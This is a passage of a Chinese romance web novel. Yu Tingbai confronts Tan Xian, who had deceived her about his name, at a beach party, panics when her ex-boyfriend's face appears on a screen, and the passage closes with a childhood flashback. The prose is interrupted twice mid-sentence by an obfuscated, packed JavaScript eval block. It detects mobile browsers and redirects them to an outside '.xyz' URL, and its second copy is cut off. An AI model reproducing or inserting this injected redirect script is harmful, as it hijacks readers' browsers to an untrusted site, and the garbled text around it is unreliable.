虞汀白难以形容此刻的心情,气愤,委屈,失落,还有伤心,它们混乱地搅弄在一起,就像一锅浓稠的大杂烩,被锅盖闷窒在下面,看不见,却隐隐地加热着,沸腾着。 不远处,伴随着汽车的轰鸣声,一辆烟灰蓝的SUV驶进来,停在了沙滩边。 动静大得这半片海滩的人都望了过去。 他来了,张运恒摸了摸鼻子,假装那边有人在喊自己,跟虞汀白说了声那边还要他帮忙,匆匆逃离了“案发现场”。 虞汀白站在原地,看见丁念和一群人迎了上去,副驾驶座,身形微圆的准新郎钟咏飞走了下来。 紧接着,一个熟悉的身影从驾驶座下来——那个几天前还叫做“张运恒”、如今已变成“谈显”的英俊男人。 他留着微分碎盖,露出光洁白皙的额头,穿着一件泼墨扎染的短袖衬衣,下身是干净的浅卡其色直筒裤,手腕上戴着一串佛珠,品味绝佳,轻松而不费力地吸引了所有人的注意力。 “谈花来了!” “怎么自己来的,没带个妹妹来?” “别发骚了,以为谁都跟你一样啊!” “谈花这珠子哪里买的,看着成色不错。” …… 谈显一一和他们打过招呼,接住朋友的拳头轻轻碰了碰肩,然后笑着绕到了车尾打开了后备厢,露出了一车厢的酒,还有一大束金色郁金香,花香飘散在空气中,像他这个人一样存在感强烈。 谈显像没骨头似的,手臂懒散地撑在车边,看其他人搬酒,张运恒凑到他耳边说了什么,与此同时,谈显也察觉到一道灼热的视线,他抬眸,不经意地朝虞汀白的方向望过来。 面上那股漫不经心的笑容还没散去,就这么和虞汀白的视线撞了个正着。 虞汀白错愕地怔住,耳边充斥着其他人说说笑笑的声音,不敢相信自己的眼睛……她期待过无数次他们重逢时的场面,他会笑着对她说一声“你好”,还是挑着眉问她“今晚有没有时间”…… 但谈显只是波澜不惊地收回了视线,那副漫不经心的笑容还挂在他好看的脸上,没有一丝变化,仿佛她是一个陌生人,激不起他心里的一丝涟漪。 他无视了她。 他完全不在意她! 虞汀白的脸不甘地烫了起来,恼羞成怒,还有被骗的愤懑一齐席上了心头…… 越是生气,越要冷静,虞汀白强自按住翻涌的情绪,冷笑着收回了视线,装作若无其事地帮旁边的人准备烧烤食材。 不会就这样结束的…… 她一定会找到机会算账,虞汀白冷冷地想。 7. 7 7 丁念的单身派对堪比南浦一中2012级同学会,大半同学都来了现场。 虞汀白对人名不敏感,加上和大多数人都断联许多年,根本记不起人,只能跟着丁念四处打酱油。 “虞汀白!你居然来了!好久不见!”一个声音从人群中传来。 虞汀白认出那人是高中班长,宗远。 丁念悄悄在她耳边给她介绍,宗远大学时考到了上海复旦,毕业后在大厂工作了几年,受不了007的工作强度,回南浦重新考了一份体制内的工作,现在在体制内混得如鱼得水。 果然从小当官的就适合在体制内混,而像虞汀白这种从小不着调的,就应该在社会上漂着。 和宗远一起过来打招呼的,还有一个长相清秀的女孩。 丁念说她叫赵佳佳,读完研究生听从家人的安排回到省会城市F市工作,这几年在家人的安排下相了不少亲,但她心气高,觉得自己在F市捧一个铁饭碗,长得有七分,又是研究生学历,起码应该配个A8男。 所以虽然有不少追求者,却还是不上不下地单着。 赵佳佳上下扫视着虞汀白,虞汀白感觉她那双眼睛就像一对扫码仪,正在试图解码她身上的衣服、鞋子、配饰的品牌和价格。 然后她惊讶而得意地发现,竟然都不是什么奢牌贵货。 看来虞汀白在北京混得不怎么样嘛。 赵佳佳抬手挡了挡阳光,一边埋怨着热,一边不经意地露出她的梵克雅宝手链,然后问虞汀白在北京工作得怎么样,有男朋友了吗? 后面半句才是她关心的重点。 所有南浦一中的同学都知道虞汀白曾和宋方晏在一起。 他们高一时恋爱,在学校里热热闹闹地谈了三年,一起考进了北京电影学院,她是文学系,他是表演系,这曾是南浦一中的一段佳话,每一对南浦早恋学子反抗老师和家长时的挡箭牌。 高中时候赵佳佳就很看不惯虞汀白,觉得她众星捧月,高高在上,那时候她就嫉妒虞汀白,盼着她登高跌重,被宋方晏分手。 果不其然,后来宋方晏走红,二人分手的消息也在同学间捕风捉影地传。 原本赵佳佳还半信半疑,直到前两年,不知道是粉丝还是狗仔把虞汀白扒出来挂在了热搜上,宋方晏公司当天就发了单身声明和律师函,严正强调艺人是单身。 宋方晏不止和虞汀白分了手,还把他们十几年的感情否认了个干净,所有南浦的、宁屿的旧友都知道了虞汀白在宋方晏那里已经成为一份见不得光的、不配提起的过去。 有些人为虞汀白打抱不平,觉得她不值,宋方晏太渣,有些人背后嘲笑她成了一个笑话,竟然不早分手,还妄想和大明星修成正果,一定是贪图宋方晏的钱。 赵佳佳是后者,三十年河东三十年河西,高中时再闪耀的人,毕业后不是照样混得不怎么样? 虞汀白看得出了赵佳佳的心思,笑道:“没交男朋友,男人影响我搞事业。” 赵佳佳想笑,你什么事业啊。 虞汀白接着亲切而热情说:“老同学一场,佳佳你下次想买梵克雅宝可以跟我说,我认识莲坂街的张阿姨,他们家里的梵克雅宝十五块钱一条,和你手上的一模一样。” 你…… 赵佳佳脸色秒变,刚才还非要搭在身前的手悄无声息地别到了身后,说着自己杯子里的酒没了就要走,被虞汀白搭住肩膀拦了下来。 虞汀白说:“还没聊够呢,我陪你过去呀。” 赵佳佳笑得僵硬。 …… 虞汀白本想继续捉弄赵佳佳,才跟着她一起去餐台那边,没想到往餐台那边去的路上,遇到了谈显和张运恒。 他们在玩德/州/扑/克,一群年轻女孩围在他们身边,看模样不是丁念请来的人,应该是海滩其他聚会里的女孩,被谈显吸引了过来。 虞汀白想绕过他们,但丁念看见钟咏飞也在里面,把她也拖了过去。 丁念背后灵似的出现在钟咏飞身后,幽幽地问:“下了多少注?” 钟咏飞本来看得津津有味,乍一听到老婆的声音,吓得差点跳起来,忙表忠心澄清自己只是凑热闹的,一分钱都没花:“对吧阿显,你给我作证!” 谈显捏着两张牌靠在对面的椅子里,双腿懒洋洋敞开,听到动静抬眼看过来,视线落在钟咏飞和丁念身上,余光不可避免地笼进了虞汀白。 虞汀白跟着几人一起看向他,陌生的、毫无杂念的眼神,仿佛全然不认识他。 谈显牵动着嘴角笑了一下,让丁念把赶快把钟咏飞拎走,新郎官不花钱在这儿凑热闹,硬是把成人局玩成了儿童局。 丁念应着得嘞,拎起钟咏飞的西装领结牵小狗似的把人带走。 虞汀白就落了单,旁边有个男同学,叫龚祁,刚才丁念介绍过的人,对虞汀白有点意思,给她让了点位置问她要不要玩。 虞汀白笑着摆手说:“我不会。” “没事,我教你,我们俩一家。”龚祁殷勤地说。 …… 谈显听到对面的谈话,原本带笑的面色淡下去,突然觉得这牌没意思,兴致全无。 于是把牌往桌上一扔:“弃牌。” 张运恒一脸不理解地瞧他,这人刚才不是说这把牌很好么。 谈显摸到酒杯,发现已经空了,用腿侧撞了一下张运恒:“你那里还有酒吗,给我来一杯。” 他刚才那么一弃牌,害得张运恒有点不自信,怀疑自己算牌算错了,这会儿正在默默重新算胜率呢,没空理他:“等会儿啊,等我这把结束。” “我这里有酒!”旁边的一个小姑娘好不容易抓到机会,殷勤地把自己的酒杯递过来,谈显瞥了一眼,杯沿上有她淡淡的口红印。 虞汀白也似有若无地看了一眼。 谈显仿佛没有察觉到其他视线,笑着婉拒:“不用了,我不喝陌生人的酒。” 他虽然态度挺好,但拒绝得也很明白,小姑娘面子有点挂不住,笑容都变得干瘪,不是说,谈显人挺随和的么…… 谈显抬眸看向对面,虞汀白刚好收回视线侧向了龚祁,快到他了,她在和他商量是跟注还是加注。 龚祁小声说由她决定,两个人有商有量的模样落在其他人眼里,略显亲密。 虞汀白笑了笑,押上筹码,加注。 张运恒激动得简直要手舞足蹈:“小鱼鱼,别这么挥霍,我可是提醒过你了啊,我顺子。” 小鱼鱼? 这两个人什么时候这么亲密了? 张运恒太过得意忘形,全然没有注意到身旁的好友看他的眼神已经有点不对劲。 虞汀白问:“真的?” 虞汀白果断换手,弃牌,再意有所指地说:“你别骗我啊,我最讨厌别人骗我。” “……”谈显手撑着脸看戏,闻言不自然地用食指摸了摸脸颊。 剩下的一个人也跟着虞汀白弃了牌,结果张运恒一掀底牌,竟然只是梅花7和黑桃4,虞汀白上当了! 张运恒高兴地吹了一声口哨,厚颜无耻,春风得意道:“赌场无父子,就算你是美女我也不能给你放水,下次记得长教训!” 虞汀白愿赌服输,离开赌桌前笑着落下一句意味深长的:“我不会再相信男人的鬼话了。” …… 虞汀白和龚祁一同离开赌桌。 谈显也终于起身去找酒,临走前还用膝盖顶了一下张运恒,不知道报的哪门子仇,张运恒一头雾水。 谈显去到汽车后备厢找他带来的苦艾酒,再放上方糖和冰块,端着酒回来,牌局已经散了,刚才那几个为了谈显围拢过来的女孩子也走了,这处终于清净下来。 这酒是谈显从瑞士纳沙泰尔州带回来的,张运恒跃跃欲试,想让谈显给他尝一口,谈显提醒:“加了很多糖。” “那算了。”谈显嗜甜,加糖量每回都能把张运恒齁死,他还是自己去调一杯吧。 张运恒去后备厢找酒,再回来的时候,谈显戴着墨镜,悠闲地靠在折叠椅里,慢慢啜饮着手中的酒,在热闹的沙滩上有种与世隔绝的惬意。 “太阳都要落山了,你戴墨镜干什么。”张运恒不解地坐到他旁边,也学着他的姿势慢条斯理地喝酒,却觉得自己好像东施效颦,怎么学都没有他那股风流意趣。 谈显透过墨镜,不再有顾忌地望着远处的那抹身影。 周围的喧嚣都被屏蔽,视线缩小成了一个狭窄的点。 他看见虞汀白一手端着酒杯,一手撑着台子仰面和乐手说话,无论是带笑的侧颜还是被贴身长裙包裹出的苗条身形,都弯出了旖旎动人的风情。 苦艾酒特有的清新在齿间徘徊,如这个夏日余晖般悠长,谈显肆无忌惮地注视着虞汀白在人群中跳舞。 此刻,墨镜就是他最好的保护色,他可以借由墨镜在大庭广众之下,贪婪地窥伺她。 没有人知道他努力隐藏的秘密。 虞汀白很受欢迎,没一会儿身边的舞伴就从龚祁变成了乐手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793090|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乐手显然看出她和龚祁没有多余的关系,在一开始的拘谨试探之后,就对她发起了进攻——将乐手最为重要的拨片交到了她的手中。 虞汀白爽朗大笑,在乐手的指引下笨拙地拨弦,热烈的音乐中夹杂着几声不和谐的音调,她不好意思地摆手,乐手却一个劲地对她竖大拇指,鼓励她继续,任谁都看得出他释放的暧昧信号。 虞汀白不仅没有拒绝这般示好,还给予了对方热烈的回应。 谈显不自觉地咬碎了口中的方糖。 这就是虞汀白——大方,开朗,来者不拒。 但谈显看得出来,她其实并没有走心。 他敢保证虞汀白明天一觉醒来就会把乐手、龚祁这些主动送上门的男人忘得一干二净,甚至不需要明天,或许转头换个酒的功夫,她就能把乐手抛诸脑后。 所以他一点也不吃醋。谈显自认为沉着地,冷静地想。 …… 丁念还不知道谈显搞出的那场乌龙,又听说了刚才赌桌上的事,以为虞汀白心里属意的还是张运恒,于是凑到已经玩疯了的虞汀白身边,大声问她:“你怎么不跟张运恒聊天了?” “张运恒?”虞汀白反应了一下,“我和他没什么可聊的,我们已经结束了。” “这么快?”这就是你们首都的速度?? 丁念迷惑地说:“那我再给你介绍介绍其他人?你觉得谈显怎么样?” 虞汀白心念微动,装蒜道:“他是谁啊。” “我跟你说过的啊,就是那个大帅比,”丁念无语,竟然有人记不住谈花,“就是刚才坐在张运恒旁边那个,超级帅的那个!人送外号谈花,既是宁屿一枝花也是高岭之花的花,很难搞!” 虞汀白难以把那天晚上幽默风趣又积极主动的谈显和“高冷之花”这样的词联系在一起。 所谓的高岭之花,无非是因为他眼中没有你。 虞汀白无所谓道:“那算了,我不会养花。” 虞汀白把丁念打发走,又投入到了和乐手的热聊之中。 想让她主动摘花,也要看他值不值得。 虞汀白已经过了轻易为男人放下自尊心的年纪,比起主动建立一段爱情,不如享受每一个短暂易逝的crush。 虞汀白忽然凑到乐手耳边问:“可以为我放一首歌吗?” 乐手兴奋:“什么歌?” …… 谈显的手机忽然震动起来,他盯着那个视频请求迟疑了好一会儿,然后把手机揣回了口袋里,假装没看见。 心情微妙地坍塌了下去,有点烦躁。 这时,一段熟悉的旋律响起,瞬间攫走了他所有的注意力—— “Thisgirlissobeautiful Softlipsofanangel Oh,terrific,shereallymeltsmyheart ifweneverwakeup我想牵你的手 ifweneverwakeup缠绵彼此占有 ifweneverwakeup亲吻你的额头 wedon’twantwakeup沉沦浩瀚宇宙 nanana 从日出天晴到乌云 或是电闪雷鸣……” 谈显猛地望过去,虞汀白正摇摆着纤细的腰肢与乐手对唱着这首歌,热烈而暧昧。 他想起那个光线昏暗的讲台桌下,外面是一对男女纠缠不休的呻/吟,里面是他和虞汀白交错的双腿,他们肉贴着肉,在狭小的空间里致密地望着彼此,呼吸浓烈地纠缠在一处…… 她为什么要点这首歌,还是和另一个男人如此热情地对唱? 谈显心潮起伏,不受控制地站了起来。 那边的虞汀白刚好也转了过来,她在和周围的人互动,眼神不经意地滑过谈显,在他面上停留了好几秒。 谈显不确定她是不是对自己笑了一下,只听到她好像勾引般低吟浅唱着: “在我的耳畔响起 散出了暧昧气息 加速呼吸心跳频率只为你……” 你在唱给谁听? 是那个愚蠢的自作多情的乐手,还是我? 谈显为她此刻挑衅般的举动感到无语又好笑,更为她这种显而易见的、难以捉摸的坏心眼不可救药地心动。 猜不透她想什么,抓不住她想要的,是他与她之间永恒的沟壑,也是她最令他着迷的一点。 8. 8 8 虞汀白唱完歌,在众人的欢呼声中下来。离开时,乐手还恋恋不舍地询问她的微信号,恰好丁念来拉她,虞汀白顺势躲过了乐手的追问。 丁念对她耳提面命:“二十岁的小屁孩,不知道是饼哥哪个远房亲戚的侄子,喜欢搞音乐我们就让他来凑热闹,还没定性呢,你可别认真。” 虞汀白哈哈笑着:“你真挑剔。” 这不是挑剔,是谨慎,虞汀白看起来挺清醒,其实谈起恋爱就是个恋爱脑,丁念当初是看着她一头栽进了和宋方晏的爱情里,和他分分合合纠缠多年的,对她的恋爱脑心有余悸。 虞汀白转移话题问:“不是要给我介绍谈显吗,跟我介绍介绍这支花,什么品种?” “你真对他感兴趣啊?” “毕竟宁屿一枝花么,我身为宁屿人不得了解一下?” “也行,这个人怎么说呢,有时候挺靠谱的,有时候又有点不着调,饼哥张老板他们有什么事都喜欢问他,但我看他平时也不工作,四处玩,玩得花样百出。” “玩女人?” “额,也不是指这方面。你瞧这片海滩上的人……”丁念示意周围,沙滩上开着一车酒来海边喝酒玩闹的不止他们这一帮人,蜿蜒的海岸线上点缀着不少聚众点。 上次和谈显约会,虞汀白听说了这种自由散漫的聚会方式的由来——因为疫情原因,岛上的许多娱乐场所关停,小岛一度沉寂,旅游业也变得萧条起来,大家嘴上不说,其实心里怨气都很大。 后来有年轻人开着车出来在海滩边喝酒,遇到想喝酒的行人也会免费赠上一杯,这行为虽然没有违反政策,但多少还是有些大胆。 一开始,没人敢响应,可那人不知收敛,我行我素,渐渐地影响了一批年轻人,才让失去活力的小岛重新焕发生机。 现在这股风潮不止席卷了年轻人,许多上了年纪的人也会带着老人孩子出来玩耍,享受这股年轻人带起的自由气息。 丁念问:“你知道最早开车出来这么干的人是谁吗?” 虞汀白猜测:“……谈显啊?” “Bingo!胆大吧?” 路子确实挺野,越听越觉得符合她的取向,虞汀白笑着说:“这人有点意思。” “论魅力那肯定没话说,追他的人很多。” “可以理解,我要是留在宁屿,我也追他。” 虞汀白觉得谈显身上有一股劲儿,能让人对他神魂颠倒:“那他女朋友都是什么样的?” “不知道,饼哥跟我说他没谈过恋爱。” 虞汀白惊讶地挑眉:“不可能吧。” “是吧我也觉得,我问过张老板,张老板跟我说他每天换一个女朋友。” 虞汀白略表赞同:“这个倒是有可能。” “反正我搞不懂谈花,这种男人我敬谢不敏。”丁念看着是个花里胡哨娇滴滴的小公主,实际上对男人的要求一向务实,很早就在众多追求她的男同学里选了个不起眼、但最老实可靠的钟咏飞。 这些年她没少数落虞汀白当初不该选择宋方晏,和大明星在一起听着是挺风光,可实际上这几年虞汀白扮演的就是一个见不得光的地下情人的角色。 背地里看她笑话的老同学不在少数。 前两年,两个人不出意外地分手,虞汀白十几年的感情落得了一个人财两空、白耗青春的下场,丁念提起宋方晏这个渣男就恨得牙痒痒,顺便带点对虞汀白的恨铁不成钢。 丁念的手机忽然响了起来,她悠哉地拿出来瞟了一眼,神色不妙。虞汀白问着“谁啊”想凑过去,却被她挡了回去。 “又是骚扰电话,”丁念皱着眉头,一副烦得要命的模样,“神经病,天天打电话来,我把他拉黑了。” 见虞汀白还要追问,丁念一把拉住她:“我现在带你去认识谈花!” “啊?” 虞汀白来不及反应,就被丁念拉到了谈显他们这一摊,张运恒、钟咏飞、宗远他们都在,赵佳佳特地坐在了谈显旁边,还拉了几个女同学在旁边打掩护。 赵佳佳提议玩“国王游戏”。 “单身派对啊,就得玩点刺激的!” “咏飞老婆过来了,赵佳佳你注意着点儿!” “大家就是随便玩玩,丁念,你不会介意吧。” 丁念笑笑看了眼旁边憨厚老实的钟咏飞,她最了解钟咏飞,玩不出什么出格的事儿,而且赵佳佳提议玩这个游戏明显醉翁之意在谈显,她介意个毛线。 不过丁念也不含蓄,一边应着好,一边直接拍了拍赵佳佳示意她让让位置,赵佳佳以为她是想挨着钟咏飞,虽然不大愿意但还是起了身,没想到丁念一把将虞汀白按在了她的位置上,让她挨着谈显,还对谈显笑眯眯地说:“我好朋友,刚从北京回来,帮忙照顾一下?” “……?!”赵佳佳气得眼睛能有铜铃那么大,但见谈显只是表情平淡地对虞汀白打了个招呼,心气又稍微顺了点,谈显要是能看上虞汀白高中时就该看上了,如今平庸的虞汀白哪还入得了他的眼。 而且他们几个都知道谈显和宋方晏关系很好,有这层关系在,虞汀白和谈显更没有可能。 这么想着,赵佳佳心气又顺了,找了个旁边的位置坐下,继续张罗着玩国王游戏。 “刚才跳舞跳累了,我就不玩了。”虞汀白兴致缺缺。 本来也没想带上她,赵佳佳从善如流地应好,再装体贴:“那你在旁边歇会儿,多喝点水。” “我也不玩,”谈显说,“我不会。” 赵佳佳洗牌的手停住,还没想好怎么劝,丁念已经无缝衔接上:“那你们两个一起歇着,谈花你照顾着点儿我朋友啊,”再去拍赵佳佳停滞的手,“来来来,我们玩,佳佳你洗牌快点!” 把我当奴役使唤了啊,赵佳佳想翻白眼,憋住了,忍气吞声地继续笑着洗牌。 “干玩没氛围啊!”张运恒指挥谈显和虞汀白去把车上的投影仪和幕布拿出来。 两个人一前一后地起身,赵佳佳一边发牌一边眼睁睁地看着他们并排走远。 …… 离人群渐远,周围的喧嚣声变小。虞汀白跟在谈显身后,随他来到了那辆SUV旁边。 一款改装的巴博斯,车身是独特的烟灰蓝,线条硬朗方正,酷炫又有品味。 虞汀白眼神不太客气地打量着翻找投影仪的谈显,意义不明地说:“我是不是忘了自我介绍,我叫虞汀白。” 谈显动作停了一下,没有看她,仍是拿侧脸对着她:“我知道。” “什么时候知道的?” “很早。” “多早,今天之前?”她紧追着不放。 “高中。”谈显没表情地看过来,“我高中就知道你,不过,你可能没有听过我的名字。” 谁知道他说的是真是假,大概率又是糊弄她,虞汀白感觉刚要出去的一口气被他硬生生地噎了回来,行啊,真会跟她打太极。 虞汀白只能接着说:“看来我高中眼光够差的,居然漏了一位大帅哥。” “你差的不止是眼光,”谈显还是那副很淡的模样,没什么重量地哂笑了一下,“我刚才听见你唱歌了。” 她不由地吞咽了一下:“怎么样?” “有点走调,下次不要跟着贝斯手一起唱歌了。” …… 什么意思啊? 虞汀白刚想继续回味这句话,那边张运恒带着一个服务员跑了过来:“你们两个慢慢吞吞干什么呢,拿个投影仪老半天,把东西给我!” “没找到,你来找找。”谈显面不改色地说谎,退开一步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793091|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不就在这儿吗,你什么眼神!”张运恒一眼就看到了旁边的黑色盒子,抬手取过来,再指挥着服务员去拿幕布,两个人拎着东西风风火火地离开。 待二人走远,这处重新安静下来,虞汀白嘲讽地看着谈显:“你刚才说谎。” 谈显没有否认:“你说的是哪一句。” 虞汀白从牙缝里挤出几个字:“……看来你很擅长说谎。” 谈显不置可否。 虞汀白冷冷地盯着他,他们之间好像有一场无声的较量,谁也不肯主动提起那一夜,好像先捅破了那层窗户纸的人就输了。 这个男人为什么如此狡黠又难懂。 她有些不爽:“你到底哪句是真的,哪句是假的?” “你想知道?我给你一些提示。” 谈显指了指远处,马路对面,虞汀白顺着望过去,看到人头攒动、车流不息的马路对面,拥挤着数不清的小摊小贩,还有一排排簇新的独栋别墅,在这一排排简约现代的别墅中间挤着一个年代久远的滨江小区。 虞汀白不明白谈显想让她看什么,这不就是很平常的夜景,很平常的别墅,很平常的小区吗? 她努力地张望思索:“你想让我看什么?” “什么东西啊?” “什么也没看见啊?” …… 谈显的声音自旁边响起,比刚才更冷了几分,像是终于厌倦了和她玩这场猜谜游戏:“你还真是容易上当。这一次是,上一次也是。” “什么?” 她也被惹恼,带着不爽瞪向他:“上一次?上一次是什么时候,我们今天不是第一次见吗。” 谈显哂笑,双手松散地插在兜里,然后笑容淡去,平静地注视着她。 虞汀白火气更盛,忍不住质问:“耍我很好玩吗?” “我没有耍你。” “嗯嗯,没有耍我,所以骗我相亲,骗我你是张运恒,”虞汀白冷冷地反唇相讥,绝不落一丝下风,“你确定你叫谈显吧?这个名字不会也是假的吧?” “只是一个名字,需要这么生气吗?” “你觉得只是一个名字那么简单?” “不然呢?”谈显淡淡反问,“难道我骗走了你的感情?” 虞汀白噎住。 谈显:“那天是谁说的,我们只是走个过场?” 虞汀白:“……你放心,我没有对你走心。” 谈显:“那你有什么不满?” 谈显把话说得云淡风轻,虞汀白气得双眼都要冒火。 不远处的牌桌忽然爆发出一阵惊呼,二人下意识望过去,只见架起的幕布上投映出了一张熟悉的明媚的笑脸。 虞汀白愣住,所有贲张的气焰、竖起的尖刺都在一瞬间消失,她愣愣地望着幕布上的那张脸,那张化成灰她也不会忘记的脸,宋方晏。 谈显望着虞汀白急剧变化的表情,方才一直平淡的眉眼紧了起来,他紧紧地盯着她,可虞汀白一瞬不瞬地望着屏幕上的那个人,一个眼神都没有给他。 在乍然出现的紧张之后,虞汀白后知后觉地感到慌张,宋方晏为什么会突然出现?其他人知不知道他们从前的关系—— 他们一定知道。 他们会怎么想她? 是可怜她,还等着看她的笑话? 虞汀白环顾四周,生怕有人看向自己,一转头,对上了谈显那双幽深如潭的目光。 “你……”谈显刚要开口,虞汀白猛然越过他,大步朝马路走了出去。 …… 虞汀白刚才那一瞬间慌张又错愕的神色挥之不去地停留在他的脑海里。 不必在乎,不关你的事,谈显深吸了一口气,告诉自己不要去追,不要太过关心这个女人,十几秒后,他认命地转身追了上去。 9. 9 9 虞汀白毫无方向地大步地沿着马路疾走,很快察觉到身后跟着一个人,于是转过身去,竟然是谈显。 见她转身,谈显也停住了脚步,二人隔着几米的距离对视,就像一对吵了架的情侣,不断有车从他们身边经过,司机好奇地打量他们。 虞汀白没想到谈显会追出来,她觉得落荒而逃的自己太过窘迫,好像被他窥探到了内心深处的某个秘密。 虞汀白总在爸妈和丁念面前表现得满不在乎,好像完全忘记宋方晏,可实际上,她在乎得要死。 那是横亘在她青春里最纯粹的一段时光,也是她生命里至真至诚的一段感情,即使早就不爱宋方晏,她也无法释怀过去那个爱得一往无前、心无旁骛的自己。 她假装不在乎,假装自己没有选错,只是为了维护自己那点可怜的自尊心。 可是为什么偏偏被他看见了自己的狼狈。 虞汀白戒备地说:“你别跟着我。” 谈显神色如常:“我怕你又要给我记一笔。我送你回去。” “不用了,我自己可以回去。” 说完虞汀白转身就走,察觉到身后的谈显又跟了上来,她加快了脚步。 咸湿的海风扑进她的鼻子,还有夏夜特有的凉意袭进了胸腔。 她再次想起了幕布上宋方晏那张若无其事的笑脸,他早就走出这段感情的阴霾,走进了他那个金光灿灿的世界,而她还在一事无成地苦苦挣扎。 当年宋方晏身为艺人不被粉丝允许恋爱,他们的关系转为地下,她被迫成为一个见不得光的人。 后来他们的关系还是被粉丝扒了出来,她的社交账号被粉丝爆破,她的作品、她的过去被扒得干干净净,她被挂在热搜上任人辱骂嘲笑,甚至有人写了她和宋方晏对家男明星的小黄文。 然后是接连不断的单身声明朝她砸来,她一次又一次地被宋方晏和他的公司否认,一次又一次地被那些声明推上热搜。 那些粉丝的网暴也因此变得更加肆无忌惮。 很长一段时间里,她每次打开私信后台看见的都是辱骂和黑图。 那段时间,她被网暴得不敢出门,连听到门铃声、手机铃响都会寒颤发抖。 而这些,一开始她都为了宋方晏忍了下来,因为那时候她觉得爱他就应该为他包容这些。 如今回想起来,她讨厌当初那个一忍再忍、百般退让的自己,连带着宋方晏的面目也变得可憎。 只要一看见他,她就会想起那些暗无天日的、闭门不出地躲避着网暴的日子。 那些羞辱和脏话无孔不入地钻进她的耳朵里,她好像真的是一个贱/货、一个纠缠着别人不放的婊/子…… 潮湿闷窒的黏液堵住了她的胸口,虞汀白重重地喘着气,谈显一定什么都知道,这场聚会上的所有人也都知道,还有这座小岛……每一个人都有可能在背后议论过她,甚至跟着热搜嘲笑过她…… 太多情绪在胸口冲撞,虞汀白没注意到一辆疾驰而来的电动车,差点被对方撞到,幸好谈显眼疾手快地一步上前拉住了她,她被惯性带着转过身来,被迫直面了他。 谈显眉头紧皱,眼中含着汹涌的戾气,还有其他她看不懂的东西。 虞汀白忍不住问:“你是不是也知道我和宋方晏的事情。你在同情我吗?” 谈显愣了愣,不知在想些什么,那份复杂的情绪急速收缩消失,只剩下对失控的懊恼和烦躁:“你值得我同情吗?” 虞汀白微怔,翻腾的情绪也在他毫不留情的反问中奇迹般地开始平复。 所有了解内情的人,在提及宋方晏的时候,都会安慰她或者大骂宋方晏渣男,好像只有谈显会气势汹汹地反问她,仿佛在问她在顾影自怜什么。是啊,明明都已经过去了,为什么还要抓着不放,她不该是这样。 虞汀白深吸一口气,很不明显地小心翼翼地问:“所以,你不觉得我可怜?” 谈显:“有人比你更值得同情。” 虞汀白:“什么?” 谈显望着虞汀白没有说话,他浅色的眸子像刮起了深海的飓风,变得昏暗混乱,又如之前一样,裹挟着许多她看不懂的东西。 很久以后虞汀白才知道,那里面藏了另一段故事。 一段被她遗忘的故事。 * 二十二年前,虞汀白还是一个刚上二年级的小豆丁。她性子淘,是个学习困难户,总是让老师和杨艺清头疼。 最近杨艺清工作渐忙,晚上常常要加班到八九点才能到家,这对虞汀白来说简直是出了花果山的美猴王,每天都在大闹天宫,作业是不做的,学校是必须去鬼混的——因为学校里还有她的亲亲好朋友! 杨艺清忙得焦头烂额还要被班主任请去喝茶,头疼得要命,最后在邻居的建议下给虞汀白报了个晚自习寄宿班。 听说宁屿一小的语文老师岑令美管学生管得严,很多学生在她那里上晚自习,杨艺清决定把虞汀白往岑令美那里送,原本担心一向不爱学习的虞汀白不会乖乖就范,没想到虞汀白一听要上晚自习,非常配合地就去了。 杨艺清当然不明白,在岑老师家晚自习已经被小小的虞汀白自动理解为放学后还可以和一群小伙伴一起玩耍,这可真是太好了! 周一放学这天,杨艺清在学校门口接到了虞汀白,母女俩一深一浅地往岑令美家走,路上杨艺清一个劲儿提醒她乖乖写作业,不要给岑老师捣乱,虞汀白满口答应,很不走心。 到了岑令美家门口,岑令美出来迎接她们。 两个大人在聊天,虞汀白听见里面传来同学们的嬉闹声,急不可耐地要进去,岑令美笑笑让她先进去,自己还要和她妈妈交接一些相关事宜。 虞汀白背着小书包,卖乖地问:“岑老师,那我坐哪里呀?” 岑令美摸摸她的小脑袋:“你去找个女同学旁边的空位先坐下,老师待会儿就进来。” “好!” 虞汀白头也不抬地跟杨艺清说了声妈妈再见,就钻进了屋里。 岑令美把一楼改造成了一间自习教室,大概分了五六排,可以容纳二三十个人,现在有的同学还没下课,教室里空了不少位置。 虞汀白在自习室门口扫视了一圈,看到第一排坐着一个白白净净、留着短发的女同学,好漂亮啊,背着小书包噔噔噔地跑了过去。 “你好,我叫小鱼。”虞汀白毫不见外地把书包放在桌上,对他灿烂一笑,露出漏风的门牙。 谈显正在解一道鸡兔同笼的数学题,察觉到旁边巨大的动静,疑惑地瞧过去,正对上一张稚嫩的小脸,他盯着她上牙的缺口,点了点头:“你好。”然后沉默而自觉地往旁边挪了挪,又低下头继续写题。 写着写着,感觉不太对劲,一转头,发现小不点也跟着挪了过来,她好奇地凑近着,脸都快趴在他手臂上了。 虞汀白把下巴搭在他胳膊上问:“你写的什么呀,我怎么看不懂?” “……”谈显想挪开她的脑袋,“这是奥数题,你们还没有学到。” 见虞汀白还是一脸渴望地瞧着自己的作业,谈显环顾周围,还有许多同学在,他应该做一个热情的、友好的人,这样才能招人喜欢,于是主动问看起来很笨的虞汀白:“你想学吗?” 虞汀白不太明白,但还是点头。 谈显把习题集挪过去分她看,再把思路和步骤一步步地拆解给她听:“你会了吗?” 虞汀白盯着谈显的眼睛痴痴感叹:“你眼睫毛好长呀。” 